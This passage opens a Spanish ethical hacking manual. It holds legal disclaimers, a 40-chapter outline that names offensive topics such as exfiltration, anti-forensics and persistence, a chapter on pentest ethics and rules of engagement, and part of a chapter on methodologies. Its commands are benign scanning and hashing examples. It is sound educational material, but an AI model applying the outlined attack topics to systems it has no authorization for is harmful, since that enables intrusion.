



**El libro absurdamente completo del hacker Ético**

# Copyright Notice

---

**© 2025 Alejandro G Vera. All Rights Reserved.**

This book, *El libro absurdamente completo del Hacker Ético*, and all accompanying text, graphics, examples, and materials are protected by international copyright laws and treaties. No part of this publication may be reproduced, distributed, or transmitted in any form or by any means—electronic, mechanical, photocopying, recording, or otherwise—without the prior written permission of the copyright holder, except for brief quotations in critical reviews and certain other noncommercial uses permitted by copyright law.

For permissions, licensing, translations, classroom use, or to request citation/quotation clearance, please contact: [eldiosvolador@hotmail.com](mailto:eldiosvolador@hotmail.com)

Trademarks, product names, and company names mentioned in this work are the property of their respective owners and are used for identification purposes only.

---

## Preferred Citation

If you quote or reference this work, please cite it as follows (examples):

**APA (7th ed.)** Vera, A. G. (2025). *El libro absurdamente completo del Hacker Ético*. [Manuscript].

**MLA (9th ed.)** Vera, Alejandro G. *El libro absurdamente completo del Hacker Ético*. 2025. Manuscript.

**Chicago (17th ed.)** Vera, Alejandro G. *El libro absurdamente completo del Hacker Ético*. 2025. Manuscript.

For any other citation styles or specific wording required by journals, universities, or publishers, write to [eldiosvolador@hotmail.com](mailto:eldiosvolador@hotmail.com).

**Aviso Legal:** Este libro es exclusivamente para fines educativos y de concientización en ciberseguridad y hacking ético. El autor y el editor no se responsabilizan por el uso indebido de la información aquí contenida. Cualquier actividad que implique acceso, manipulación o interferencia con sistemas, redes o datos **sin autorización documentada** es ilegal y sancionada por leyes nacionales e internacionales. El lector debe cumplir con las normativas aplicables, incluyendo GDPR, Convenio de Budapest, NIST, ISO/IEC 27000, y cualquier legislación vigente en su jurisdicción. **Si no acepta estas condiciones, no continúe la lectura.**

---

## Anexo: Disclaimer Legal Internacional y Referencias Normativas

**Propósito del libro:** Esta obra se ha creado con la finalidad de formar profesionales, estudiantes y entusiastas en el área de la ciberseguridad, siguiendo principios éticos y legales reconocidos a nivel global. Todo el material aquí expuesto debe ser usado únicamente en **entornos controlados y con permiso documentado**.

### Prohibiciones expresas:

- No realizar pruebas o ataques sin autorización del propietario del sistema.
- No interceptar, copiar o alterar datos sin consentimiento.
- No eludir medidas de seguridad para fines no autorizados.

## Referencias normativas y legales internacionales:

- **ISO/IEC 27001 y 27002**: Estándares para la gestión y control de la seguridad de la información.
- **ISO/IEC 27035**: Directrices para la gestión de incidentes.
- **NIST Cybersecurity Framework (CSF)** y **NIST SP 800-53**: Controles y guías de ciberseguridad.
- **OWASP Testing Guide** y **OWASP Top Ten**: Buenas prácticas en pruebas de seguridad web.
- **SANS Pentest Framework** y **SANS Incident Handler's Handbook**: Procedimientos reconocidos en la industria.
- **Reglamento General de Protección de Datos (GDPR)** — Unión Europea.
- **Digital Millennium Copyright Act (DMCA)** — Estados Unidos.
- **Computer Misuse Act** — Reino Unido.
- **Ley de Protección de Datos Personales** — Argentina (Ley 25.326).
- **Convention on Cybercrime** del Consejo de Europa (Convenio de Budapest).

**Responsabilidad:** El autor, editor y colaboradores no se hacen responsables de daños, perjuicios o consecuencias derivadas del uso indebido del contenido. El lector es el único responsable de sus actos.

**Aceptación:** La lectura y uso de este libro implican la **aceptación expresa** de estas condiciones.

---

## El libro absurdamente completo del hacker Ético

# Índice

---

- **Capítulo 1 — Ética, legalidad y Reglas de Compromiso (RoE)**
  - 1. Introducción a la ética en el hacking
  - 2. Marco legal básico
  - 3. Reglas de Compromiso (RoE)
  - 4. El consentimiento por escrito
  - 5. Trazabilidad y cadena de custodia
  - 6. Ejemplos prácticos de ética aplicada
  - 7. Errores comunes que pueden meterte en problemas
  - 8. Herramientas y ejemplos para la parte legal y ética
  - 9. Checklist rápido previo al inicio de un pentest
  - 10. Conclusión
- **Capítulo 2 — Metodologías profesionales**
  - 1. ¿Por qué usar una metodología?
  - 2. Principales metodologías de pentesting
  - 3. Comparativa rápida
  - 4. Cómo elegir la metodología
  - 5. Integrando metodologías en un flujo de trabajo real
  - 6. Ejemplo práctico: aplicar PTES a un pentest real
  - 7. Documentación y plantillas
  - 8. Buenas prácticas al aplicar metodologías
  - 9. Errores comunes

- 10. Ejemplo de plantilla de hallazgos (lista para usar)

- **Capítulo 3 — Instalación de Kali Linux paso a paso**

- 1. Antes de instalar: requisitos y preparativos
- 2. Instalación en Bare Metal (PC físico)
- 3. Instalación en VirtualBox
- 4. Instalación en VMware Workstation / Player
- 5. Instalación en WSL (Windows Subsystem for Linux)
- 6. Postinstalación: optimización y seguridad
- 7. Problemas comunes y soluciones
- 8. Checklist de instalación correcta
- 9. Preparación para el siguiente capítulo

- **Capítulo 4 — Configuración ofensiva de Kali Linux**

- 1. Principios básicos de la configuración ofensiva
- 2. Actualización y mantenimiento inicial
- 3. Configuración de repositorios
- 4. Instalación de metapquetes clave
- 5. Configuración de la shell (ZSH + Oh-My-Zsh)
- 6. Alias ofensivos para ahorrar tiempo
- 7. Hardening para proteger al pentester
- 8. Herramientas extra que no vienen por defecto
- 9. Scripts personalizados para automatizar
- 10. Configuración de proxy para herramientas
- 11. Integración con repositorios de exploits
- 12. Personalización visual
- 13. Checklist de máquina ofensiva lista
- 14. Prueba de fuego

- **Capítulo 5 — Burp Suite: Intercepción y explotación web profesional**

- 1. Introducción a Burp Suite
- 2. Instalación y preparación
- 3. Configuración inicial del Proxy
- 4. Instalación del certificado CA de Burp
- 5. Primer flujo de trabajo básico
- 6. Configuración avanzada del Proxy
- 7. Uso de Repeater para explotación manual
- 8. Uso de Intruder para ataques automatizados
- 9. Uso del Scanner (solo Pro)
- 10. Automatización con Extender y BApp Store
- 11. Integración con otras herramientas
- 12. Ejemplo real de explotación: XSS almacenado
- 13. Buenas prácticas para Burp Suite
- 14. Atajos útiles
- 15. Checklist de configuración lista

- **Capítulo 6 — Nessus: Escaneo de vulnerabilidades avanzado e integración con Burp y Nmap**

- 1. ¿Qué es Nessus?
- 2. Instalación en Kali Linux
- 3. Configuración de un escaneo básico
- 4. Configuración avanzada para pentesting
- 5. Integración con Nmap
- 6. Integración con Burp Suite
- 7. Ejemplo práctico: escaneo y explotación
- 8. Personalización de políticas
- 9. Exportar resultados
- 10. Automatización con CLI
- 11. Buenas prácticas
- 12. Checklist de máquina con Nessus listo

- **Capítulo 7 — Nmap al extremo: escaneo, evasión y scripting avanzado**

- 1. Introducción
- 2. Sintaxis básica
- 3. Escaneo de puertos
- 4. Detección de servicios y versiones
- 5. Detección de sistema operativo
- 6. Escaneo de múltiples objetivos
- 7. Formatos de salida
- 8. Scripts NSE (Nmap Scripting Engine)
- 9. Técnicas de evasión
- 10. Escaneo sigiloso
- 11. Combinación con otras herramientas
- 12. Ejemplo real de pentest con Nmap
- 13. Atajos y combinaciones útiles
- 14. Buenas prácticas
- 15. Checklist de Nmap listo para pentesting

- **Capítulo 8 — Metasploit Framework: explotación, pivoting y post-explotación**

- 1. Introducción
- 2. Instalación y actualización
- 3. Estructura de Metasploit
- 4. Sintaxis básica
- 5. Integración con Nmap
- 6. Ejemplo 1 — Explotación de Apache Struts (CVE-2017-5638)
- 7. Ejemplo 2 — Explotación de SambaCry (CVE-2017-7494)
- 8. Post-explotación con Meterpreter
- 9. Pivoting (salto a redes internas)
- 10. Persistencia
- 11. Creación de payloads con msfvenom
- 12. Integración con Nessus
- 13. Automatización con resource scripts

- 14. Buenas prácticas
- 15. Checklist de Metasploit listo

- **Capítulo 9 — TheHarvester y OSINT ofensivo total**

- 1. Introducción al OSINT
- 2. TheHarvester: instalación y uso básico
- 3. Sintaxis básica
- 4. Fuentes soportadas
- 5. Ejemplo real de uso combinado
- 6. Integración con otras herramientas
- 7. Maltego: OSINT visual
- 8. SpiderFoot: OSINT automatizado masivo
- 9. Técnicas manuales de OSINT
- 10. Metadatos en documentos
- 11. Ejemplo práctico completo de OSINT ofensivo
- 12. Automatización con script OSINT
- 13. Buenas prácticas
- 14. Checklist de OSINT listo

- **Capítulo 10 — Aircrack-ng y auditoría Wi-Fi**

- 1. Introducción a la auditoría Wi-Fi
- 2. Consideraciones éticas y legales
- 3. Preparación del entorno
- 4. Colocar la tarjeta en modo monitor
- 5. Escaneo de redes
- 6. Captura de handshakes WPA/WPA2
- 7. Crackeo del handshake
- 8. Ataque PMKID (sin clientes conectados)
- 9. Redes WEP (históricas)
- 10. Integración con otras herramientas
- 11. Automatización del flujo
- 12. Buenas prácticas y mitigación
- 13. Checklist de auditoría Wi-Fi lista

- **Capítulo 11 — Pivoting y túneles avanzados**

- 1. Introducción al Pivoting
- 2. Escenario de laboratorio recomendado
- 3. Pivoting con SSH
- 4. Pivoting con Proxychains
- 5. Pivoting con Metasploit
- 6. Pivoting con Chisel
- 7. Pivoting con Ligolo-ng
- 8. Pivoting con sshuttle (VPN transparente)
- 9. Escenarios encadenados
- 10. Ejemplo práctico completo

- 11. Buenas prácticas
  - 12. Checklist de pivoting listo
- **Capítulo 12 — Responder, NTLM Relays y ataques en entornos Windows/Active Directory**
    - 1. Introducción
    - 2. Escenario de laboratorio
    - 3. Preparación del laboratorio
    - 4. Instalación de Responder
    - 5. Captura de hashes con Responder
    - 6. Cracking de hashes
    - 7. Ataque de relay NTLM
    - 8. Ataque de relay HTTP → SMB
    - 9. Dump de hashes y secrets con relay exitoso
    - 10. Post-explotación en AD
    - 11. Ejemplo práctico paso a paso
    - 12. Defensas y mitigación
    - 13. Checklist de Responder + Relay listo
- **Capítulo 13 — Active Directory: enumeración, Kerberoasting, AS-REP roasting y abuso de ACLs**
    - 1. Introducción a Active Directory (AD)
    - 2. Escenario de laboratorio
    - 3. Enumeración en AD
    - 4. Kerberoasting
    - 5. AS-REP Roasting
    - 6. Pass-the-Hash (PtH)
    - 7. Abuso de ACLs
    - 8. DCSync Attack
    - 9. Dominio comprometido → Persistencia
    - 10. Ejemplo práctico paso a paso
    - 11. Defensas y mitigación
    - 12. Checklist de AD Hacking listo
- **Capítulo 14 — Impacket en profundidad: manipulación avanzada de entornos Windows y Active Directory**
    - 1. Introducción a Impacket
    - 2. Instalación
    - 3. Estructura de scripts
    - 4. Uso básico de credenciales
    - 5. Ejecución remota
    - 6. Extracción de credenciales
    - 7. Enumeración de dominio
    - 8. Ataques Kerberos
    - 9. Ataques de relay NTLM
    - 10. Ejemplo práctico de laboratorio
    - 11. Buenas prácticas y OPSEC

- 12. Checklist de Impacket listo

- **Capítulo 15 — Playbook de ataques en redes internas: de 0 a Domain Admin**

- 1. Escenario de laboratorio
- 2. Metodología general
- 3. Reconocimiento
- 4. Enumeración inicial
- 5. Explotación inicial
- 6. Enumeración profunda de AD
- 7. Escalada de privilegios
- 8. Movimiento lateral
- 9. Dominio comprometido
- 10. Persistencia
- 11. Limpieza
- 12. Ejemplo de ataque encadenado
- 13. OPSEC y mitigaciones
- 14. Checklist de ataque interno listo

- **Capítulo 16 — Hacking WiFi extremo: de la auditoría básica al ataque corporativo**

- 1. Entorno de laboratorio
- 2. Preparación de la tarjeta WiFi
- 3. Escaneo de redes con airodump-ng
- 4. Auditoría de redes WEP
- 5. Auditoría WPA/WPA2-Personal
- 6. Auditoría WPA2/WPA3-Enterprise (EAP)
- 7. Automatización con Wifite
- 8. Phishing WiFi con Fluxion
- 9. Monitoreo pasivo con Kismet
- 10. Ejemplo de ataque encadenado
- 11. Defensas y mitigación
- 12. Checklist de hacking WiFi

- **Capítulo 17 — Man-in-the-Middle extremo: de la intercepción pasiva al dominio comprometido**

- 1. Escenario de laboratorio
- 2. Conceptos clave
- 3. Reconocimiento previo
- 4. Ataque con Responder
- 5. Crackear hash capturado
- 6. NTLM Relay con ntlmrelayx.py
- 7. Ataques ARP Spoofing con Bettercap
- 8. HTTP y credenciales en claro
- 9. DNS spoofing
- 10. Ataque MITM a RDP
- 11. Ettercap: alternativa clásica
- 12. Escenario encadenado realista

- 13. Defensa y mitigación
- 14. Checklist MITM

- **Capítulo 18 — Post-Explotación extrema: del primer acceso al control total del dominio**

- 1. Escenario
- 2. Ingreso inicial
- 3. Mimikatz: extracción de credenciales
- 4. Rubeus: manipulación de tickets Kerberos
- 5. SharpHound + BloodHound: mapeo total del dominio
- 6. Creación de un Golden Ticket
- 7. Persistence con Silver Tickets
- 8. Escenario encadenado de dominio total
- 9. Mitigación y defensa
- 10. Checklist de post-explotación

- **Capítulo 19 — Exfiltración y Evasión total: cómo sacar datos de un entorno vigilado sin ser detectado**

- 1. Escenario de laboratorio
- 2. Principios clave de exfiltración sigilosa
- 3. Preparar los datos para exfiltrar
- 4. Exfiltración por HTTP/S (camouflada)
- 5. Exfiltración por DNS (bypass de firewalls)
- 6. Exfiltración por ICMP (ping tunnel)
- 7. Exfiltración encubierta en tráfico legítimo
- 8. Técnicas anti-detección (EDR/DLP evasion)
- 9. Flujo encadenado realista
- 10. Defensa y mitigación
- 11. Checklist de exfiltración

- **Capítulo 20 — Hacking en la nube: AWS, Azure y GCP desde el reconocimiento hasta la dominación total**

- 1. Por qué atacar la nube es diferente
- 2. Reconocimiento en AWS
- 3. Enumeración y explotación de AWS S3
- 4. Ataques comunes en AWS
- 5. Hacking en Azure
- 6. Ataques comunes en Azure
- 7. Hacking en Google Cloud Platform (GCP)
- 8. Ataques comunes en GCP
- 9. Persistencia en entornos cloud
- 10. Mitigación y defensa
- 11. Checklist de pentest en la nube

- **Capítulo 21 — Red Teaming extremo en entornos híbridos: de un clic a la dominación total**

- 1. Escenario

- 2. Fase 1 — Acceso inicial por phishing
- 3. Fase 2 — Persistencia inicial
- 4. Fase 3 — Reconocimiento interno en AD
- 5. Fase 4 — Escalada de privilegios
- 6. Fase 5 — Pivoting hacia la nube
- 7. Fase 6 — Abuso en AWS
- 8. Fase 7 — Abuso en Azure
- 9. Fase 8 — Exfiltración combinada
- 10. Fase 9 — Limpieza de huellas
- 11. Fase 10 — Persistencia final
- 12. Defensa y mitigación

- **Capítulo 22 — Operaciones clandestinas post-explotación: infiltración prolongada y persistencia invisible**

- 1. Fundamentos de la infiltración prolongada
- 2. Establecer múltiples puntos de acceso
- 3. Encubrir el C2 (Command & Control)
- 4. Movimiento lateral sigiloso
- 5. Exfiltración lenta ("Low and Slow")
- 6. Limpieza continua de huellas
- 7. Ejemplo de infiltración de 90 días
- 8. Checklist de infiltración prolongada

- **Capítulo 23 — Anti-Forensics Total: engañar, falsificar y borrar huellas como un APT**

- 1. Principios del anti-forensics
- 2. Manipulación de timestamps (Timestamping)
- 3. Alteración de logs
- 4. Falsificación de artefactos
- 5. Eliminación segura de datos
- 6. Encubrimiento en memoria (RAM)
- 7. Anti-forensics en la nube
- 8. Técnicas avanzadas de confusión
- 9. Limitaciones y detección

- **Capítulo 24 — Operaciones de Doble Capa: C2 paralelos y señaletos**

- 1. Concepto de doble capa
- 2. Infraestructura de señuelo
- 3. C2 real encubierto
- 4. Sincronización entre capas
- 5. Ventajas y riesgos
- 6. Ejemplo de operación doble capa
- 7. Checklist de operación doble capa

- **Capítulo 25 — Living off the Land (LOTL) en pentesting**

- 1. Fundamentos de LOTL

- 2. LOTL en Windows
- 3. LOTL en Linux
- 4. LOTL en macOS
- 5. Movimiento lateral con herramientas nativas
- 6. Exfiltración de datos sin herramientas externas
- 7. Recomendaciones de uso en pentesting
- 8. Checklist LOTL por plataforma

- **Capítulo 26 — Fileless Malware y ataques en memoria**

- 1. Conceptos clave
- 2. Ejecución en memoria en Windows
- 3. Ejecución en memoria en Linux
- 4. Ejecución en memoria en macOS
- 5. Fileless con Metasploit
- 6. Persistencia fileless
- 7. Ejemplo de ataque controlado
- 8. Detección y defensa

- **Capítulo 27 — Persistencia avanzada y técnicas casi imposibles de erradicar**

- 1. Conceptos clave de persistencia
- 2. Persistencia en Windows
- 3. Persistencia en Linux
- 4. Persistencia en macOS
- 5. Persistencia en red
- 6. Persistencia de nivel bajo (Firmware/UEFI)
- 7. Ejemplo de persistencia combinada (escenario APT)
- 8. Defensa y detección

- **Capítulo 28 — Rootkits y Bootkits en Pentesting**

- 1. Definiciones
- 2. Arquitectura y puntos de inyección
- 3. Simulación de Rootkits en laboratorio
- 4. Simulación de Bootkits en laboratorio
- 5. Detección de Rootkits y Bootkits
- 6. Ejemplo de análisis forense con Volatility
- 7. Buenas prácticas defensivas

- **Capítulo 29 — Ataques a APIs y Microservicios en Pentesting**

- 1. Introducción al escenario
- 2. Tipos de APIs más comunes
- 3. Enumeración y descubrimiento
- 4. Fallos críticos en APIs
- 5. Ataques específicos en GraphQL
- 6. Ataques en microservicios
- 7. Deserialización insegura

- 8. Escenario de laboratorio propuesto
- 9. Defensa

- **Capítulo 30 — Exfiltración de Datos Masiva y Técnicas Avanzadas de Evasión**

- 1. Conceptos clave
- 2. Tipos de exfiltración
- 3. Exfiltración encubierta
- 4. Evasión de sistemas DLP
- 5. Laboratorio de exfiltración
- 6. Detección y defensa

- **Capítulo 31 — Defensa Activa y Contra-Hacking en Pentesting**

- 1. Filosofía de la defensa activa
- 2. Preparando el campo de batalla
- 3. Tácticas de respuesta en tiempo real
- 4. Evasión activa: Redireccionar al atacante
- 5. Contra-hacking simulado
- 6. Uso de Honeytokens
- 7. Escenario de laboratorio propuesto
- 8. Defensa activa + OSINT
- 9. Estrategias de desgaste

- **Capítulo 32 — Análisis Forense Post-Exfiltración**

- 1. Principios básicos de la investigación forense
- 2. Preservación de evidencia
- 3. Análisis de tráfico de red histórico
- 4. Trazando la ruta de la exfiltración
- 5. Herramientas forenses clave
- 6. Recuperación de fragmentos exfiltrados
- 7. Informe final del incidente
- 8. Conexión con la defensa futura

- **Capítulo 33 — Ingeniería Social Avanzada para Pentesters Éticos**

- 1. ¿Por qué es tan peligrosa la ingeniería social?
- 2. Modalidades de ingeniería social
- 3. Fases de un ataque de ingeniería social controlado
- 4. Herramientas para simular ataques
- 5. Ejemplo de campaña controlada
- 6. Ingeniería social física
- 7. Defensa contra ingeniería social
- 8. Laboratorio propuesto
- 9. Ética y legalidad

- **Capítulo 34 — Operaciones de Red Team y Simulación de Amenazas Avanzadas**

- 1. ¿Qué es un Red Team?

- 2. Diferencia con un pentest tradicional
- 3. Fases de una operación Red Team
- 4. Herramientas clave para Red Team
- 5. Escenario de simulación propuesto
- 6. Indicadores a evaluar en un Red Team
- 7. Reporte post-operación

- **Capítulo 35 — Análisis y Detección de APTs (Advanced Persistent Threats)**

- 1. ¿Qué es un APT?
- 2. Ciclo de vida típico de un APT
- 3. Indicadores de compromiso (IoCs) en APTs
- 4. Técnicas de detección
- 5. Detección proactiva (Threat Hunting)
- 6. Simulación de un APT en laboratorio
- 7. Medidas defensivas
- 8. Reporte y comunicación

- **Capítulo 36 — Defensa Activa y Ciberdecepción**

- 1. ¿Qué es la defensa activa?
- 2. Elementos clave de la ciberdecepción
- 3. Tipos de honeypots
- 4. Herramientas para implementar ciberdecepción
- 5. Escenario de uso en red corporativa
- 6. Honeytokens en la práctica
- 7. Integración con SIEM
- 8. Beneficios de la ciberdecepción
- 9. Advertencias éticas y legales

- **Capítulo 37 — Análisis Forense de Incidentes Reales (Enfoque Ético)**

- 1. Principios básicos del análisis forense digital
- 2. Fases de una investigación forense
- 3. Escenario de laboratorio
- 4. Preservación de la evidencia
- 5. Análisis de logs del sistema
- 6. Análisis de tráfico capturado
- 7. Recuperación de archivos borrados
- 8. Informe forense
- 9. Medidas preventivas aprendidas

- **Capítulo 38 — Respuesta a Incidentes Paso a Paso**

- 1. Ciclo de respuesta a incidentes
- 2. Preparación
- 3. Detección y análisis
- 4. Contención
- 5. Erradicación

- 6. Recuperación
- 7. Lecciones aprendidas
- 8. Ejemplo práctico de flujo completo

- **Capítulo 39 — Automatización de Pentesting y Respuesta a Incidentes**

- 1. ¿Por qué automatizar?
- 2. Flujo típico de automatización
- 3. Scripts en Bash para respuesta rápida
- 4. Python para automatizar análisis y respuesta
- 5. Automatización con Ansible
- 6. Automatización de pentesting
- 7. Integración con SIEM y alertas
- 8. Recomendaciones de seguridad

- **Capítulo 40 — El Laboratorio de Hacking Ético Totalmente Integrado**

- 1. Arquitectura del laboratorio
- 2. Componentes esenciales
- 3. Automatización de despliegue
- 4. Integración de herramientas ofensivas
- 5. Integración de herramientas defensivas
- 6. Simulación de ataques y defensa
- 7. Integración con respuesta a incidentes
- 8. Escenarios prácticos
- 9. Documentación y bitácora
- 10. Mantenimiento y evolución

---

# Capítulo 1 — Ética, legalidad y Reglas de Compromiso (RoE)

---

**Advertencia:** Este libro está escrito con un objetivo educativo y profesional. Todo el contenido debe aplicarse únicamente en entornos controlados o con autorización explícita por escrito. El uso indebido de estas técnicas puede implicar sanciones penales y civiles graves. El conocimiento es poder, pero su mal uso es responsabilidad exclusiva del operador.

---

## 1. Introducción a la ética en el hacking

El **hacking ético** es la práctica de utilizar técnicas de intrusión, explotación y prueba de seguridad de forma controlada y con el permiso del propietario del sistema, para identificar vulnerabilidades y proponer soluciones. A diferencia del hacker malicioso (*black hat*), el hacker ético (*white hat*) trabaja dentro de límites legales y contractuales.

Principios clave de la ética en ciberseguridad

- **Consentimiento informado:** jamás se ejecuta una prueba sin aprobación documentada.

- **Minimización de daños:** si una prueba implica riesgo de pérdida de datos, debe planificarse con backups y ventanas de mantenimiento.
  - **Confidencialidad absoluta:** toda la información recopilada es sensible y debe protegerse como si fuera tu propia identidad.
  - **Reporte honesto:** no se ocultan hallazgos ni se exageran vulnerabilidades.
  - **Respeto al alcance (scope):** no se prueban sistemas fuera de lo pactado.
- 

## 2. Marco legal básico

Legislación internacional relevante

- **Convención de Budapest (2001):** tratado internacional contra el cibercrimen.
- **GDPR (UE):** regula el tratamiento de datos personales.
- **DMCA (EE.UU.):** prohíbe la elusión de medidas tecnológicas de protección.
- **Ley 26.388 (Argentina):** delitos informáticos y acceso indebido.

En cualquier país, las acciones sin autorización explícita pueden considerarse:

- **Acceso indebido** (hacking no autorizado).
  - **Intercepción de comunicaciones.**
  - **Daño informático.**
  - **Fraude electrónico.**
- 

## 3. Reglas de Compromiso (RoE)

Las **Rules of Engagement** son el documento clave que define cómo se desarrollará la auditoría o pentest.

**Elementos mínimos que debe incluir:**

1. **Identificación de las partes:** cliente, proveedor, responsables técnicos.
2. **Alcance técnico (scope):**
  - IPs, dominios, aplicaciones.
  - Exclusiones explícitas.
3. **Ventanas de prueba:**
  - Horarios permitidos.
  - Fechas y plazos.
4. **Limitaciones:**
  - Tipos de ataque permitidos/prohibidos.
  - Restricciones de explotación (p. ej., no ejecutar `rm -rf` aunque sea posible).
5. **Método de notificación de hallazgos críticos:**
  - Canal seguro (Signal, PGP, plataforma de tickets).

## 6. Manejo de datos:

- Encriptación.
- Destrucción segura tras la entrega.

## 7. Plan de contingencia:

- Contactos de emergencia.
- Procedimiento si se interrumpe un servicio.

### Ejemplo de sección de alcance en un RoE real (simplificado):

Scope autorizado:

- www.empresad.com (incluye subdominios)
- API pública api.empresad.com
- Rango de IP: 203.0.113.0/24

Exclusiones:

- Servidores de correo (mail.empresad.com)
- Sistemas SCADA

## 4. El consentimiento por escrito

No basta con un "sí" verbal; debe existir un documento firmado o un correo oficial con validez legal. Ejemplo mínimo de autorización:

Yo, [Nombre del responsable de seguridad], en representación de [Empresa X],  
autorizo a [Nombre del pentester] a realizar pruebas de penetración en los  
sistemas  
descritos en el alcance del documento RoE adjunto, desde el día DD/MM/AAAA  
hasta el DD/MM/AAAA, bajo las condiciones acordadas.

Firma: \_\_\_\_\_

## 5. Trazabilidad y cadena de custodia

En pruebas reales, especialmente en entornos regulados (banca, salud, gobierno), se debe mantener un registro detallado de:

- Fecha/hora de cada acción.
- Herramienta utilizada y versión.
- Comando exacto ejecutado.
- Evidencia recolectada (hashes de integridad).

### Ejemplo de registro de comando con hash de evidencia:

```
$ nmap -sV -p 443 www.empresia.com -oN nmap_ssl.txt
$ sha256sum nmap_ssl.txt
e3b0c44298fc1c149afbf4c8996fb92427ae41e4...
```

---

## 6. Ejemplos prácticos de ética aplicada

### Ejemplo 1: Hallazgo crítico en producción

- **Situación:** encuentras una inyección SQL que permite extraer datos de clientes.
- **Acción ética:**
  1. No explotar más allá de la prueba mínima necesaria.
  2. Guardar evidencias (captura de payload y respuesta parcial).
  3. Notificar al cliente inmediatamente.
  4. Documentar en el informe.

### Ejemplo 2: Fuera de alcance

- **Situación:** en el pentest de una web descubres un subdominio que apunta a un servidor de la competencia.
  - **Acción ética:** NO escanear, documentar hallazgo como "host externo no incluido" y sugerir validación legal.
- 

## 7. Errores comunes que pueden meterte en problemas

1. **Asumir que algo está en alcance** porque "parece" parte del sistema.
  2. **Guardar datos sensibles sin cifrado** en tu disco.
  3. **Usar credenciales descubiertas para acceder a otros sistemas no autorizados.**
  4. **No borrar datos de prueba** (usuarios creados, shells, etc.).
  5. **Hacer pruebas fuera de horario** y causar caídas no previstas.
- 

## 8. Herramientas y ejemplos para la parte legal y ética

Aunque esta fase es más documental que técnica, algunas herramientas ayudan en el cumplimiento y trazabilidad:

- **GnuPG:** cifrado de correos y archivos.

```
# Generar par de claves
gpg --full-generate-key

# Exportar clave pública
gpg --armor --export tu@email.com > public.asc
```

```
# Cifrar un archivo  
gpg --encrypt --recipient "Cliente" reporte.pdf
```

- **KeePassXC**: gestión segura de credenciales temporales.
- **Cryptomator / VeraCrypt**: cifrado de contenedores para evidencias.
- **hashdeep**: cálculo masivo de hashes para evidencias.

```
hashdeep -r /ruta/evidencias/ > lista_hashes.txt
```

## 9. Checklist rápido previo al inicio de un pentest

- Documento de autorización firmado.
- RoE revisado y aprobado.
- Lista de exclusiones confirmada.
- Canales de comunicación seguros definidos.
- Plan de respuesta ante incidentes acordado.
- Contenedores cifrados listos para evidencias.
- Máquina de pruebas actualizada y sin datos de clientes anteriores.

## 10. Conclusión

La ética y la legalidad no son “la parte aburrida” del hacking ético: son el blindaje que protege tanto al profesional como a la organización. Un hacker ético que ignora estas reglas puede convertirse, sin querer, en un atacante a ojos de la ley.

En los próximos capítulos, entraremos de lleno en la parte técnica, pero siempre con el marco ético y legal como base. **Porque un pentest bien hecho no solo descubre vulnerabilidades... también respeta el terreno en el que pisa.**

# Capítulo 2 — Metodologías profesionales

**Nota:** Un pentest sin metodología es como una cirugía sin protocolo: puedes tener suerte, pero lo más probable es que algo salga muy mal. Aquí veremos las metodologías más usadas y cómo aplicarlas paso a paso.

## 1. ¿Por qué usar una metodología?

Un hacker ético profesional **no improvisa todo el tiempo**. Aunque la creatividad es clave para encontrar vulnerabilidades, el trabajo debe seguir un marco estructurado que permita:

- **Reproducibilidad**: otro auditor puede seguir tus pasos y obtener resultados similares.
- **Cobertura completa**: no dejar áreas sin evaluar.

- **Trazabilidad:** documentar cada hallazgo y su origen.
  - **Comparabilidad:** medir el progreso o degradación de la seguridad con el tiempo.
- 

## 2. Principales metodologías de pentesting

### 2.1. PTES (Penetration Testing Execution Standard)

Un estándar ampliamente usado que divide el trabajo en 7 fases:

1. **Pre-engagement interactions:** contacto inicial, definición de alcance, contratos, NDA.
2. **Intelligence gathering:** OSINT y reconocimiento activo/pasivo.
3. **Threat modeling:** identificar vectores probables de ataque.
4. **Vulnerability analysis:** escaneo y validación.
5. **Exploitation:** obtener acceso o privilegios.
6. **Post-exploitation:** consolidación, pivoting, extracción controlada.
7. **Reporting:** entrega del informe.

**Ventaja:** flexible y adaptable a distintos entornos. **Desventaja:** requiere experiencia para interpretar bien cada fase.

---

### 2.2. OSSTMM (Open Source Security Testing Methodology Manual)

Creada por el ISECOM, más enfocada en pruebas **científicas** y en medir **superficie de ataque**. Se basa en 5 canales de seguridad:

- **Human:** ingeniería social, capacitación, procesos.
- **Physical:** acceso físico, cámaras, cerraduras.
- **Wireless:** comunicaciones sin cable (Wi-Fi, Bluetooth, RF).
- **Telecom:** telefonía, VoIP, PBX.
- **Data Networks:** redes de datos.

Introduce métricas como el **RAV** (*Risk Assessment Value*), que cuantifica la exposición. **Ventaja:** excelente para auditorías globales. **Desventaja:** más complejo y pesado para entornos pequeños.

---

### 2.3. NIST 800-115

Guía del Instituto Nacional de Estándares y Tecnología de EE.UU. para pruebas de seguridad técnica.

- Muy usada en entornos gubernamentales y corporativos grandes.
- Divide en: planificación, descubrimiento, ataque, post-ataque y reporting.
- Documenta de forma exhaustiva la evidencia.

**Ventaja:** ideal para cumplimiento normativo. **Desventaja:** menos flexible para pentests creativos.

---

### 2.4. OWASP Testing Guide

Orientada a aplicaciones web. Contiene casos de prueba detallados para cada vulnerabilidad del **OWASP Top 10** y otros riesgos.

- Ej.: **OTG-INPVAL-001** para validación de entrada.
- Define pruebas manuales y con herramientas.

**Ventaja:** referencia obligatoria para web. **Desventaja:** no cubre infraestructura ni redes.

---

## 2.5. MITRE ATT&CK

No es una metodología de pentest clásica, sino un **marco de conocimiento** de tácticas, técnicas y procedimientos (TTPs) usados por atacantes reales.

- Cada técnica tiene ID único (ej. **T1059.001** — PowerShell).
- Permite **mapear hallazgos a amenazas reales**.

**Ventaja:** alinea el pentest con amenazas reales. **Desventaja:** curva de aprendizaje alta.

---

## 3. Comparativa rápida

Metodología	Enfoque	Cobertura	Ideal para
PTES	Flexible, paso a paso	Amplia	Pentests generales
OSSTMM	Métricas y ciencia	Completa (5 canales)	Auditorías globales
NIST 800-115	Normativa	Alta en cumplimiento	Gobierno, corporaciones
OWASP TG	Web apps	Web y API	Desarrollo seguro
ATT&CK	Amenazas reales	Depende del mapeo	Red teaming, threat hunting

---

## 4. Cómo elegir la metodología

### Preguntas clave:

1. ¿El entorno es web, red, físico o mixto?
2. ¿Hay exigencias legales o normativas?
3. ¿Se busca profundidad técnica o cobertura amplia?
4. ¿Hay tiempo y recursos para aplicar algo más pesado?

### Ejemplo:

- Startup con una app web: **OWASP TG** + partes de PTES.
  - Banco internacional: **NIST 800-115** + **OSSTMM**.
  - Ejercicio Red Team: **PTES** + **MITRE ATT&CK**.
- 

## 5. Integrando metodologías en un flujo de trabajo real

Una combinación que funciona muy bien:

